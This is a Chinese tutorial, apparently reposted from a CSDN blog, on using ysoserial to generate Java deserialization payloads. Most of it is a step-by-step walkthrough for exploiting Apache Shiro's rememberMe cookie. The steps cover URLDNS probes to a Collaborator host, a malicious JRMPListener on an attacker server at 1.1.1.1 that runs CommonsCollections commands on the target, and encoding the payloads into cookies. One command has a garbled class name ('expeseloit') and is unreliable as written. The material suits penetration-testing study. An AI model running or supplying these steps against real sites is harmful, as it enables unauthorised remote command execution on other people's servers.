Java反序列化工具ysoserial使用

2023-12-20 18:02:18

ysoserial是一款用于生成 利用不安全的Java对象反序列化 的有效负载的概念验证工具。

项目地址

https://github.com/frohoff/ysoserial

主要有两种使用方式,一种是运行ysoserial.jar 中的主类函数,另一种是运行ysoserial中的exploit 类,二者的效果是不一样的,一般用第二种方式开启交互服务。

使用方式一

官方介绍中的基本用法:

java -jar ysoserial.jar [payload] '[command]'

这种是运行ysoserial中的主类函数:

#发起dnslog请求的payload
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn/
java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn/ > /tmp/urldns.ser

#连接1.1.1.1:19999JRMP服务的payload
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999"  > /tmp/jrmp.ser
使用方式二

最常见用法,即运行ysoserial中的exploit类,一般用于开启交互服务:

exploit类有哪些可以在ysoserial-all\ysoserial\exploit目录下看到

image-20231220152716095

#1099端口启动一个JRMP监听,等待连接 , 然后执行 cc1链 whoami
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'whoami'

这里再提一下,java命令的-cp参数和-classpath参数是一样的,即指定类运行所依赖类路径、通常是类库和jar包。而java命令的-jar参数则直接执行jar包里面META-INF\MANIFEST.MF文件中指定的Main-Class。

JRMP

JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。

在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信。JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范。

JRMP允许在不同的JVM之间进行对象的远程调用,使得分布式系统中的Java对象可以通过网络进行交互。通过JRMP,客户端可以调用远程服务器上的方法,就像调用本地对象的方法一样。JRMP负责处理网络通信、对象序列化和反序列化等细节,以实现透明的远程方法调用。

要使用JRMP进行远程方法调用,需要定义接口、实现远程对象、绑定远程对象到特定的端口,并在客户端和服务器端分别设置相应的配置。

方式一的实例

使用 ysoserial,生成一个 URLDNS 序列化 payload:

java -jar ysoserial.jar URLDNS http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net > /tmp/urldns.ser

img

用 shiro 编码脚本将序列化 payload 进行编码,得到 Cookie 字符串:

java -jar shiro-exp.jar encrypt /tmp/urldns.ser

img

再将上面得到的 Cookie 字符串作为 rememberMe Cookie 的值,发送到目标网站,如果 cipher key 正确,则目标会成功反序列化我们发送的 payload,Burp Collaborator client 将收到 dns 解析记录,说明目标网站存在 shiro 反序列化漏洞:

img

方式二的实例

攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:

java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):

java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 编码脚本对 JRMPClient payload 进行编码:

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。

文章来源:https://blog.csdn.net/st3pby/article/details/135111050
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。